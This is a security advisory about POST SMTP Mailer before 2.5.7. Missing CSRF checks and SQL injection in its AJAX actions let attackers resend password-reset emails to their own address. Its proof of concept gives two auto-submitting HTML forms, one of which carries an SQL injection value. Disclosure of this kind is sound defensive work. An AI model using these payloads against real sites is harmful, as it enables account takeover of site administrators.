POST SMTP Mailer < 2.5.7 – Account Takeover via CSRF

Description

The plugin does not have proper CSRF checks in some AJAX actions, which could allow attackers to make logged in users with the manage_postman_smtp capability resend an email to an arbitrary address (for example a password reset email could be resent to an attacker controlled email, and allow them to take over an account).

Note: The AJAX actions are also affected by SQL injections, making the issue easier to exploit by being able to choose which email to resend, for example the latest email related to a password reset

Proof of Concept

Make a logged in admin open a page containing the HTML code below

To make them resend the email with ID 1 to an attacker controlled address:
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
        <input type="text" name="action" value="ps-resend-email">
        <input type="text" name="id" value="1">
        <input type="text" name="to" value="[email protected]">
        <input type="submit" value="submit">
    </form>
</body>

To make them resend the last sent email to an attacker controlled address (using an SQL injection):
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
        <input type="text" name="action" value="ps-resend-email">
        <input type="text" name="id" value="0 OR 1=1 ORDER by id DESC LIMIT 1">
        <input type="text" name="to" value="[email protected]">
        <input type="submit" value="submit">
    </form>
</body>